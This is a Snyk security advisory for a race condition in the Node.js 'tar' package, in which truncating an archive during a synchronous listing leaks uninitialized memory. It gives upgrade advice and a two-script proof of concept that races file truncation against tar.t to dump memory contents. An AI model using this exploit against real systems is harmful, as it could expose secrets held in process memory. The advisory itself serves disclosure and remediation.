Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tar to version 7.5.2 or higher.
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Race Condition in the tar.t function, also known as tar.list, when the sync: true option is used and the underlying tar file is truncated on disk to a smaller size between the time its size is checked and when the parser reads the entry. An attacker can access uninitialized memory contents, potentially exposing sensitive data such as unrelated file contents, environment variables, or passwords, by inducing a race condition that causes the process to read beyond the valid data.
Note:
This is only exploitable if the attacker can truncate or replace the tar file on disk at a precise moment, the archive is processed with sync: true, and user code processes tar entry contents in an onReadEntry handler.
A:
import * as tar from 'tar' import fs from 'node:fs'fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))
// from readme const filesAdded = [] tar.c( { sync: true, file: 'tar.test.tmp.tar', onWriteEntry(entry) { // initially, it's uppercase and 0o644 console.log('adding', entry.path, entry.stat.mode.toString(8)) // make all the paths lowercase entry.path = entry.path.toLowerCase() // make the entry executable entry.stat.mode = 0o755 // in the archive, it's lowercase and 0o755 filesAdded.push([entry.path, entry.stat.mode.toString(8)]) }, }, ['./tar.test.tmp'], )
const a = fs.readFileSync('tar.test.tmp.tar')
for (let i = 0; ; i++){ if (i % 10000 === 0) console.log(i) fs.writeFileSync('tar.test.tmp.tar', a) fs.truncateSync('tar.test.tmp.tar', 600) }
B (vulnerable):
import * as tar from 'tar' import * as fs from 'fs'
while (true) { fs.readFileSync(import.meta.filename) tar.t({ sync: true, file: 'tar.test.tmp.tar', onReadEntry: e => e.on('data', b => { const a = b.filter(x => x) if (a.length > 0) console.log(a.toString()) }) }) }
Run A and B in parallel on Node.js 22 or >=25.1.0
Dumps B memory (wait for some time to observe text data)